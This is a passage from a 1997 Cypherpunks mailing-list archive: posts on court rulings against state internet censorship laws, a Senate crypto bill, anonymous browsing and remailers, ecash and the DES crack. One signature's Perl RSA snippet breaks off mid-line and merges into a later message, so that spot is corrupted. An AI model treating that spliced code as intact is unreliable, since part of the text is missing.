Judge Preska did not answer whether the New York law
violated the First Amendment, saying she was going to
wait for the U.S. Supreme Court's to rule on the
Communications Decency Act. She said, however, that
she didn't *need to answer* that question to strike
down the law since it violated the U.S. Constitution's
ban on states attempts to regulate commerce outside
their borders.

This is an vital point: The court ruled that no state,
no matter how hard the legislators try, generally can
regulate "indecent" or "harmful to minors" material
online. "I cannot stretch enough the importance of
this conclusion," Beeson says. These rulings mean that
the ACLU's attempts to strike down other state
Net-censorship laws -- and around two dozen states
have passed or are considering such measures -- will
be a virtual slam dunk.

Georgia's Judge Shoob, in a shorter 21-page opinion,
ruled that the law -- that the Democrat-controlled
legislature passed in haste last year to muzzle
a dissident Republican representative -- violated
the First Amendment.

This echoes a recent Supreme Court case, McIntyre v.
Ohio, in which the justices ruled that the right to
anonymity extends beyond political speech; that
requiring someone to add their name to a leaflet is
unconstitutional; that writing can be more effective
if the speaker's identity is unknown.

Next stop: The Supreme Court, which is almost certain
to rule on the CDA next week...

-Declan

More info on the Georgia lawsuit:

  http://cgi.pathfinder.com/netly/editorial/0,1012,590,00.html

More info on the New York state lawsuit:

  http://cgi.pathfinder.com/netly/editorial/0,1012,532,00.html

  http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html










From azur at netcom.com  Fri Jun 20 14:32:00 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 21 Jun 1997 05:32:00 +0800
Subject: Senator Bryan on S. 909
Message-ID: 



I just spoke with Andy Vermillye, Senator Bryan's staffer that handles the
encryption issue.

When I enquired regarding the Bryan's crypto views, Andy thought the
Senator's primary reason for voting in favor of the bill was his
Intelligence Committe briefings.  I gave him a very brief rant regarding
the Four Horseman and related my experience in dealing with intelligence
agencies (while at TRW), and why they shouldn't be trusted with laws which
so easily trample on our right to free speech. Andy admitted he was not
very knowledgable regarding crypto.

I told him I had spent considerable time and money in establishing First
ECache and that many of the bill's provisions, if left in their current
form, would prevent my company's function.  I said further that, Nevada and
the Senator are trying to attract high-tech industries to Nevada, but if
this bill passes I would be forced to move the business offshore instead of
creating high-paying Nevada jobs.

Andy said I was the only Nevada company to call regarding the bill, but
that a half dozen others (mostly large companies) all called in opposition.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From tcmay at got.net  Fri Jun 20 14:32:16 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 05:32:16 +0800
Subject: Getting Back to our Radical Roots
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: 



At 1:52 PM -0700 6/20/97, John Smith wrote:
>>The resources used to break DES, if as many people hosted remailers and
>>anonymizers on their machines, would further Cypherpunks goals a lot
>more
>>than breaking DES, which we all know was breakable (as we know what "56
>>bits" means).
>
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.

A hurdle or speedbump is the one of latencies:

* e-mail is expected, or accepted, to have latencies of minutes or even
hours. And as the packet sizes of e-mail messages are typically small, e.g.
3 KB, adequate mixing or entropy can be gotten in a remailer by mixing 10
or so messages, repeated several times though various hops.

* Web access is expected, or required, to be fast and peppy...people will
hardly tolerate (i.e., will not use) a site which spends minutes between
actions.

Whether minutes are needed between actions depends on the degree of mixing
sought, and the amount of other messages or Web accesses....

Also, a remailer can be done with *one way" paths, while Web accesses of
course require two-way paths. Two-way paths present oft-discussed hurdles
for anonymity. (Reply-blocks, message pools, etc.)

These are not unresolvable problems, from what I can see, but are typical
engineering tradeoffs, a la the usual:

"Speed, anonymity, interactivity. Pick two."

(Or something like this...)

PipeNet will help. Several groups are sort of working on new schemes. I
have my own thoughts about fixing this problem.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From azur at netcom.com  Fri Jun 20 14:46:31 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 21 Jun 1997 05:46:31 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



>But the rulings differ in important ways. Manhattan's
>Judge Preska did not answer whether the New York law
>violated the First Amendment, saying she was going to
>wait for the U.S. Supreme Court's to rule on the
>Communications Decency Act. She said, however, that
>she didn't *need to answer* that question to strike
>down the law since it violated the U.S. Constitution's
>ban on states attempts to regulate commerce outside
>their borders.

Might this also mean that states attempting to restrict Internet gaming
might similarly be restrained?



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From 3umoelle at informatik.uni-hamburg.de  Fri Jun 20 15:07:03 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 21 Jun 1997 06:07:03 +0800
Subject: Recipient Anonymity
In-Reply-To: <199706200219.EAA06517@basement.replay.com>
Message-ID: 



Anonymous wrote:

>Okay.  Let's suppose that there are 10,000 messages (more realistic for a
>large remailer i think)  And I am going to spread it over five servers,
>And I use a 32-bit hash function (one in four billion chance I get someone
>else's message)

[...]

>Finally, I get back five 20K messages from each of the five servers.

You only need to download the XOR of the five messages. OTOH, you
should not leak the information that there is exactly one message
for you.

>So that's a total of 80K to download the IDs/recipients lists, 6.25K to
>upload the requests, and 100K to download the message pieces, to read my
>20K email.  I guess that could work.

It's way better than 200,000K for the complete pool...






From jeremey at bluemoney.com  Fri Jun 20 15:14:21 1997
From: jeremey at bluemoney.com (Jeremey Barrett)
Date: Sat, 21 Jun 1997 06:14:21 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:52 PM 6/20/97 PDT, John Smith wrote:
>>The resources used to break DES, if as many people hosted remailers and
>>anonymizers on their machines, would further Cypherpunks goals a lot 
>more
>>than breaking DES, which we all know was breakable (as we know what "56
>>bits" means).
>
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.
>

Anonymous web browsing is definitely being worked on. However, simply 
chaining proxies ala remailer chains is not sufficient because traffic 
analysis is fairly trivial.

The question is what's the threat model. If the goal is to prevent the
server from identifying the client given limited resources, then 
www.anonymizer.com or similar is sufficient. However, the real problem
is preventing an entity with unlimited resources and control over most
of the nodes in the anonymous network from conducting successful traffic
analysis. This is an entirely different and very difficult problem.

The cpunks are getting some help in this from the Naval Research Lab
(although actually I think we're helping them not vice versa)
because the military seems to want to be able to browse anonymously too.

Jeremey.


-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM6r/FC/fy+vkqMxNAQEnWgQAvxvAwgMmUWfl9mSzh5Hsf3O/5OgqwzfS
fJzL5wNX9Pssr6dZuGXudD1OuQjUmha5e5+G3MJrrPOafsUCI3518kTVyLMbVuZG
fghrbj+s20Fyhj4G3FUM2UtzrGdaqIx/pqzkNcKyAKz3EF8iH6OSxdWWmhX/J650
qQgkrb7Om9M=
=iqAT
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64






From nobody at REPLAY.COM  Fri Jun 20 15:17:40 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 21 Jun 1997 06:17:40 +0800
Subject: It's not over
Message-ID: <199706202210.AAA28568@basement.replay.com>



Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
got to go through at least one and possibly two more committees before
it reaches the senate floor, where we'll have another chance to defeat it.

Even then the house has to pass similar legislation.  That will be yet another
chance.

When Clipper was proposed, a wave of anger and opposition swept forth.
The same thing needs to happen now.  This fatalism is self defeating.

Either you're part of the solution or you're part of the problem.  People who
say there's no use fighting, who give up, who oppose the efforts of the
crypto lobbying groups in the name of ideological purity, are not part of
the solution.  They have no right to complain if this law passes.  By
sitting aside and carping at the efforts of those who are trying to stop this
kind of legislation, they are only helping to bring it about.

There is no reason this new bill should be any more acceptable or more
successful than Clipper was.  We only have to fight it.






From azur at netcom.com  Fri Jun 20 15:22:16 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 21 Jun 1997 06:22:16 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: 



>An interesting set of issues about "states rights" and "local control." I
>used to think--indeed, this is what I was taught--that certain things
>stated in the U.S. Constitution, such as the various items in the Bill of
>Rights we mention so often, would block many local or state laws.
>
>Thus, if Nebraska passed a law restricting religious freedoms, making Islam
>a crime, for example, then this would be "struck down" by the Supremes.
>
>I no longer feel very secure in this belief. For example, many states,
>counties, and cities have laws which abridge the Second Amendment. Why are
>these local laws not unconstitutional? When I have raised these points I
>have been told by law professors (for example, on the Cyberia list) that
>surely I support "states rights," don't I?
>
>I now think it is likely that the 50 state legislatures, the thousands of
>county and city governments, will accelerate their lawmaking machinery.
>They have learned that the way to steady employment is to proliferate
>bureacracies, that despite various scattered attempts to limit such
>bureacratic growth, the expansion basically continues and even acclerates.
>This ensures a huge job pool for politicians and bureaucrats. (Even
>politicians who "retire" or are "voted out" find continued employment in
>regional and local bureaucracies....
>

One reason this is occuring is that there is no direct consequence to the
legislators.  In those states which have referendums and where legislators
waste  taxpayers money by enacting a stream of laws which are subsequently
ruled unconstitutional, why don't libertarians propose a law which would
financially penalize those congressrats which voted in favor of passage.
I'm sure it will be tough to write something which itself will pass
constitutional muster, but think of the headlines!

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From gnu at toad.com  Fri Jun 20 15:23:10 1997
From: gnu at toad.com (John Gilmore)
Date: Sat, 21 Jun 1997 06:23:10 +0800
Subject: Mykotronx builds Fortezza/DES card
Message-ID: <199706202211.PAA15306@toad.com>



This is great -- they've put TWO insecure crypto algorithms on one
PCMCIA card!  Mykotronx leads the industry, as usual!

	John   :-)


     Rainbow subsidiary Mykotronx and Western Datacom announce joint
     development of industry's first dual-mode cryptographic modem -- FORDESZA
 
     Business Wire - June 17, 1997 09:03
 
     MYKOTRONX WESTERN-DATACOM RNBO %CALIFORNIA %DISTRICT %OF %COLUMBIA
     %INTERACTIVE %MULTIMEDIA %INTERNET %COMED %COMPUTERS %ELECTRONICS
     %PRODUCT %TRADESHOW V%BW P%BW
 
     TORRANCE, Calif.--(BUSINESS WIRE)--June 17, 1997--Mykotronx Inc., a
     subsidiary of Rainbow Technologies Inc. (NASDAQ:RNBO), and Western
     Datacom have announced joint development of FORDESZA, a Type II PCMCIA PC
     modem card that provides both DES and FORTEZZA-based encryption and
     decryption in a single unit.
 
     FORDESZA, the first dual-mode cryptographic device designed for the
     commercial marketplace, integrates a FORTEZZA cryptographic chip
     manufactured by Mykotronx with 56-bit DES encryption.
 
     ``Mykotronx' collaboration with Western Datacom further demonstrates the
     company's commitment to providing the highest-quality cryptographic
     solutions for secure data communications,'' said John Droge, vice
     president of product development for Mykotronx. ``The first of its kind,
     FORDESZA is a state-of-the-art modem design that delivers both high
     connection speed and quality cryptographic protection.''
 
     ``Western Datacom is pleased to be working with Mykotronx on the
     development of FORDESZA,'' said Phil Ardire, president of Western
     Datacom. ``Western Datacom and Mykotronx have combined their respective
     expertise to create a breakthrough cryptographic security product to
     support users' need for secure communication.''
 
     Functioning as a V.34 bis 33,600 bps modem, FORDESZA operates as a
     FORTEZZA Crypto Card, a FORTEZZA encryptor/decryptor with a V.34 bis
     modem and as a DES encryptor/decryptor with a V.34 bis modem.
 
     FORDESZA will incorporate all security features previously developed for
     FORTEZZA, including personal identification numbers (PINs) for user
     authentication; the digital signature standard (DSS) for originator
     authentication; the key exchange algorithm (KEA) for Diffie-Hellman
     variant public key exchange; FORTEZZA and DES encryption; and the secure
     hash algorithm (SHA) for data integrity.
 
     FORDESZA accomplishes key management via both a certification authority
     workstation (CAW) and a FIPS 171-compliant software system. The CAW
     operates FORTEZZA card initialization software to program the modem with
     the user's distinguished name (DN) and public key information stored in
     X.509 certificates.
 
     A distributed database, called the directory system agent (DSA), handles
     the storage and distribution of these keys. For DES key management, the
     FIPS 171 software, which is compatible with existing Western Datacom
     DES-based products, accommodates private key changes and management of
     DES encryptors.
 
     FORTEZZA encryption has been accepted by the Department of Commerce's key
     recovery program. Encryption keys can now be kept by an approved third
     party, with copies available to law-enforcement agencies only under a
     court order.
 
     For more information about FORDESZA, contact Mykotronx at 310/533-8100
     (fax 310/533-0527) or Western Datacom at 216/835-1510 (e-mail:
     wdc at western-data.com).
 
     With headquarters in Torrance, Mykotronx is a world leader in providing
     high-grade encryption and decryption equipment essential for use in space
     and other sensitive digital communication environments.
 
     Founded in 1979, and acquired by Rainbow Technologies in 1995, Mykotronx
     has more National Security Agency approved products than any other
     corporation. Demonstrating the company's commitment to quality, Mykotronx
     designs and manufactures products that meet the requirements of
     MIL-Q-9858 A (``Quality Program Requirements'') and MIL-I-45208
     (``Inspection System Requirements'').
 
     Rainbow Technologies, with 1996 revenues in excess of $81 million, is a
     leading supplier of software-protection, license-management and
     Internet-security products worldwide. Rainbow has offices in the United
     States, France, Germany, Russia and the United Kingdom, and is ISO-9002
     certified.
 
        CONTACT:  Rainbow Technologies Inc.
                  Ann Jones, 714/450-7350
                             ajones at rnbo.com
                    or
                  Bock Communications Inc.
                  Valerie Christopherson/Brian Bardwell, 714/374-3530
                                              vchristopherson at msn.com
 
        REPEATS: New York 212-752-9600 or 800-221-2462; Boston 617-236-4266 or
              800-225-2030; SF 415-986-4422 or 800-227-0845; LA 310-820-9473
 
        All content is compiled from a variety of sources by News Alert and
                        provided as a service of PC Quote.
      See important copyright information. Refresh your screen often for the
                                latest information.
 
                              � 1997 News Alert Inc.






From wclerke at emirates.net.ae  Fri Jun 20 15:23:43 1997
From: wclerke at emirates.net.ae (Wayne Clerke)
Date: Sat, 21 Jun 1997 06:23:43 +0800
Subject: Fw: Advance Bank launches ecash
Message-ID: <199706202212.CAA05166@ns2.emirates.net.ae>



>
>>>>>Thank you for being so patient.  ecash is now available from our web
site
>>>>>at:  http//www.advance.com.au/ecash
>
>>Tim May   wrote:
>>>No mention of "untraceable" or "anonymous" or "Chaum." And no mention
of
>>>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly
or
>>>wrongly, a trademark of the company with the same name.
>
>If there _wasn't_ any mention of those, there certainly is now :-)
>The right-hand frame, after the pictures of PCs and dollar signs and
logos,
>has copyright notices, trademark notice for "ecash", and the addresses
>and URLs for Advance Bank Australia Ltd. and Digicash BV in the
Netherlands.
>
>And the "Support" page has the following URLs:
>   For more ecash info, refer to the DigiCash Web Site:
>     Who are DigiCash?
>     Digital Signatures and Smart Cards
>     Numbers that are money
>

It seems I haven't been paying enough attention lately ... just visited
www.digicash.com and discovered Advance is only one of several new banks
offering (or about to offer ecash).

>
># Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.
Thanks.)
>

Regards,


Mail: Wayne Clerke
PGP key ID: AEB2546D FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome. Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.








From declan at well.com  Fri Jun 20 15:25:48 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 06:25:48 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



Steve -- Believe it or not, yes, state Net-gambling laws could fall under
the dormant commerce clause and be struck down by courts. If they ruled
consistently. I suspect they won't. 

This is a fascinating area. I'll probably post more about this over the
weekend.

-Declan



On Fri, 20 Jun 1997, Steve Schear wrote:

> >But the rulings differ in important ways. Manhattan's
> >Judge Preska did not answer whether the New York law
> >violated the First Amendment, saying she was going to
> >wait for the U.S. Supreme Court's to rule on the
> >Communications Decency Act. She said, however, that
> >she didn't *need to answer* that question to strike
> >down the law since it violated the U.S. Constitution's
> >ban on states attempts to regulate commerce outside
> >their borders.
> 
> Might this also mean that states attempting to restrict Internet gaming
> might similarly be restrained?
> 
> 
> 
> PGP mail preferred
> Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
> ---------------------------------------------------------------------
> Steve Schear              | tel: (702) 658-2654
> CEO                       | fax: (702) 658-2673
> First ECache Corporation  |
> 7075 West Gowan Road      |
> Suite 2148                |
> Las Vegas, NV 89129       | Internet: azur at netcom.com
> ---------------------------------------------------------------------
> 
>         I know not what instruments others may use,
>         but as for me, give me Ecache or give me debt.
> 
>         SHOW ME THE DIGITS!
> 
> 
> 
> 






From rah at shipwright.com  Fri Jun 20 15:29:43 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 21 Jun 1997 06:29:43 +0800
Subject: (Fwd) New crypto bill clears committee
Message-ID: 




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam at lists.espace.net using -f
X-Orig-From: Robert Hettinga 
X-e$pam-source: owner-cryptography at c2.net
X-Sender: rah at atanda.com
Mime-Version: 1.0
Date: Fri, 20 Jun 1997 17:00:33 -0400
To: espam at intertrader.com, e$pam 
From: Robert Hettinga 
Subject: Re: (Fwd) New crypto bill clears committee
Sender: owner-espam at lists.espace.net
Precedence: bulk
Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

owner-cryptography at c2.org using -f
X-Sender: rah at atanda.com
Mime-Version: 1.0
Date: Fri, 20 Jun 1997 15:15:58 -0400
To: Adam Shostack 
From: Robert Hettinga 
Subject: Re: (Fwd) New crypto bill clears committee
Cc: cryptography at c2.net
Sender: owner-cryptography at c2.net

> At 7:56 AM -0400 6/20/97, Adam Shostack wrote:
 > I plan to spend a substaintial portion of my day explaining to the
 > large companies I consult with that this is a very bad thing, and they
 > should be opposing its advance.

 Said syllogistically,

 Digital Commerce *is* Financial Cryptography,
 Financial Cryptography *is* Strong Cryptography,
 therefore,
 Digital Commerce *is* Strong Cryptography.
 and therefore,
 No Strong Cryptography, no Digital Commerce.


 Instructions for the use of this syllogism:

 Invite 'em to a presentation.

 Use one proposition per slide, with nothing on the slide but the
 proposition, centered vertically and horizontally. Don't make handouts.

 Put up the first slide, and defend the proposition.
 Repeat until last slide.

 Ask for questions.

 The bill is in the mail. ;-).

 QED,
 RAH


 -----------------
 Robert Hettinga (rah at shipwright.com), Philodox
 e$, 44 Farquhar Street, Boston, MA 02131 USA
 "... however it may deserve respect for its usefulness and antiquity,
 [predicting the end of the world] has not been found agreeable to
 experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
 The e$ Home Page: http://www.shipwright.com/


---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk
---------------------------------------------------------------------
Like e$? Help pay for it!  See 
Or, for e$/e$pam sponsorship, 
---------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jrennie at hardy.ocs.mq.edu.au  Fri Jun 20 16:17:59 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Sat, 21 Jun 1997 07:17:59 +0800
Subject: A site idea
Message-ID: 



Hello all,

Well after joining this list a few days ago, i've decided to take the 
plunge and post something. I was looking for feedback on an idea for a 
site. I hope this dosen't violate any rules for posting and i appologise 
if it does. Please dont flame me for my ignorance if i've broken any 
unspecified rules for posting.

Anyway on to my idea. 

I'm a Christian (NO not some religious right looney from the states). My 
idea was to setup a site dedicated to secure and anonymous transmiion of 
data. The appilication being for Christian missionaries in dangerous 
countries, but also as a general purpose site for crypto and anoniminty. 
I was hoping to collect information on setting up anon remailers of 
various types and compiling links and articles for the site. Can anybody 
point me in the right direction ? 

Again i hope i haven't offended anyone or broken any posting rules to 
this forum.

Jason =8-]






From tcmay at got.net  Fri Jun 20 16:26:05 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 07:26:05 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: 



At 3:07 PM -0700 6/20/97, Jeremey Barrett wrote:

>The cpunks are getting some help in this from the Naval Research Lab
>(although actually I think we're helping them not vice versa)
>because the military seems to want to be able to browse anonymously too.

I rather suspect the motives are more complicated than this.

It is an easy enough matter for anyone in the CIA or NSA or DIA or whatever
to get cutout accounts in any number of ISPs, either local or connected to
remotely in the usual ways. This lets them surf rapidly and quickly, and
with little traceability so long as they maintain an "air gap" between the
nyms.

"ddenning at nsa.gov" can become "witch666 at aol.com" or "shill at clarke.net"
rather easily.

When I was at CFP a few months back, and NSA guy said he read the
Cypherpunks list regularly. And a CIA analyst who attended the Hackers
Conference recognized my name when I happened to sit down next to him at a
meal, and said his office often looked to the CP list for insights into how
various proposals would be met. I don't recall either of their names--I
wasn't that interested in tracking them--but I rather suspect their
subscriptions were under under other names or at least other domain names,
or forwarded directly off of other sites.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From aba at dcs.ex.ac.uk  Fri Jun 20 16:40:57 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 21 Jun 1997 07:40:57 +0800
Subject: cypherpunks import code (was Re: Cypherpunks write code)
In-Reply-To: 
Message-ID: <199706201718.SAA01942@server.test.net>




Paul Bradley  writes:
> Does www.anonymizer.com run at a decent speed within the US? I tried
> to use it from here yesterday to get past the IP address cheching
> for the export page on www.netscape.com, and it was too slow (just
> stalled on about 1k)

Nice try, but it won't work.  anonymizer.com doesn't handle SSL
sessions, and the actual download part opens an SSL session for the
download.

I think this was discussed before, and the reason for no SSL sessions
was the CPU load this would add on anonymizer.com, IIRC.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



Perhaps there is more reason to be worried than Anonymous lets on.

This afternoon I stopped by the office of a Congressional staffer who
will, appropriately, remain anonymous. This person knows crypto, follows
it, even truly believes in it. But they were pessimistic about any good,
or even half-decent, crypto legislation leaving the Congress. Which
committee will insert it? And what good crypto legislation would pass a
presidential veto? 

DC crypto-lobbyists should have seen this coming. Instead of lifting
export controls -- or even leaving intact the status quo -- Congress is
about to make things worse.

Perhaps cypherpunks should turn crypto-rejectionist.

-Declan


On Sat, 21 Jun 1997, Anonymous wrote:

> Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
> got to go through at least one and possibly two more committees before
> it reaches the senate floor, where we'll have another chance to defeat it.
> 
> Even then the house has to pass similar legislation.  That will be yet another
> chance.
> 
> When Clipper was proposed, a wave of anger and opposition swept forth.
> The same thing needs to happen now.  This fatalism is self defeating.
> 
> Either you're part of the solution or you're part of the problem.  People who
> say there's no use fighting, who give up, who oppose the efforts of the
> crypto lobbying groups in the name of ideological purity, are not part of
> the solution.  They have no right to complain if this law passes.  By
> sitting aside and carping at the efforts of those who are trying to stop this
> kind of legislation, they are only helping to bring it about.
> 
> There is no reason this new bill should be any more acceptable or more
> successful than Clipper was.  We only have to fight it.
> 
> 






From declan at well.com  Fri Jun 20 16:57:00 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 07:57:00 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 19:22:37 -0400 (EDT)
From: Charles Platt 
To: Declan McCullagh 
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)

> From: Jonah Seiger 

> This process is raw and smelly, I know, but it's also called Democracy.

The United States is not a pure democracy, it is a constitutional
republic. I believe I have a constitutional right to privacy. I also
believe that I probably have a constitutional right to anonymity. It
doesn't matter what "most senators" think, or indeed what "most Americans"
think, if their thinking is contradicted by the Constitution. We do not
have simple majority rule, here. In fact the founders of the country went 
out of their way to insure that the simple majority could not easily 
violate the principles upon which the country was founded.

> But before we get all caught up in the old jihad between "the purists" and
> the "pragmatists", just think about this for a moment:  If we are going to
> have a prayer of getting out of this Congress without getting stuck with
> manditory key recovery, we have to at least recognize where we fit in to
> the overall equation and how the system actually works.  We can do a lot to
> impact the outcome of this issue -- but not if we are operating in a
> different area code from reality.

This can be summarized as "compromise or else." I have never believed 
that this is an acceptable policy when dealing with people who are 
ethically impaired. Moreover, it is not even a SENSIBLE policy, from a 
purely pragmatic point of view. Did ACT-UP adopt a compromising position 
in order to get what they wanted? Would they have done better if they had 
agreed to compromise? Of course not. You have no hope of getting even a 
fraction of what you want, when dealing with the power-crazed yahoos in 
DC, unless you are willing either to bribe them or be an intransigent 
extremist. (So it seems to me, anyway.)

The CDT party line always seems to be, "play ball and kiss ass in the hope 
that legislators will be nice to you." Thanks, but no thanks.







From declan at well.com  Fri Jun 20 17:12:18 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 08:12:18 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 19:44:33 -0400 (EDT)
From: Charles Platt 
To: Declan McCullagh 
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)

> From: "Shabbir J. Safdar" 

> We owe them a great big debt of thanks, not the derision that goes with
> Alice in Wonderland political punditry.

They did what they did because they thought it was in their interests; 
otherwise they wouldn't have done it. We owe them nothing, and I am 
horrified to see this phrase. How much do you owe a parasite that tries 
to negotiate with other parasites to take slightly less of your blood 
than they originally expected?

Statements similar to yours have been made so many times, scolding
"extremists" for "not being realistic." I seem to remember something about
extremism in defense of liberty being no vice, and moderation no virtue.
Either way, if you compromise, you don't get what you want. That is
absolutely obvious. So why compromise? 








From stewarts at ix.netcom.com  Fri Jun 20 17:13:02 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 21 Jun 1997 08:13:02 +0800
Subject: [EFGA] WE won our court case!! (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970620165723.00756920@popd.ix.netcom.com>



>From: "Robert A. Costner" 
>To: action at efga.org
>Subject: [EFGA] WE won our court case!!
>
>EFGA was granted a preliminary injunction in our court case 
>against the state of Georgia.  Details and press release to follow.

Yee-hah!  If you ignore CONgress, we've had a good week, between
this court and the New York CDA courts doing the right thing
and the DES crack finishing.

>Let's meet somewhere tonight to celebrate!

Obviously y'all should meet in the Atlanta Underground, wearing masks :-)

(though I won't be there, since it's a bit far from the West Coast...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From emergent at eval-apply.com  Fri Jun 20 17:16:47 1997
From: emergent at eval-apply.com (ET)
Date: Sat, 21 Jun 1997 08:16:47 +0800
Subject: Garbled in transmission.
Message-ID: <199706210004.UAA26052@jazz.cape.com>



I caught the Headline News mention of the DES crack and it
unfortunately put the wrong spin on things.

I can't remember it word for word, but it went like this:
"If you're going to decrypt financial transactions you'd better
be prepared to get 1000 computers and spend 3 months on
the project."

The report was delivered with a hint of a smile, as if to suggest
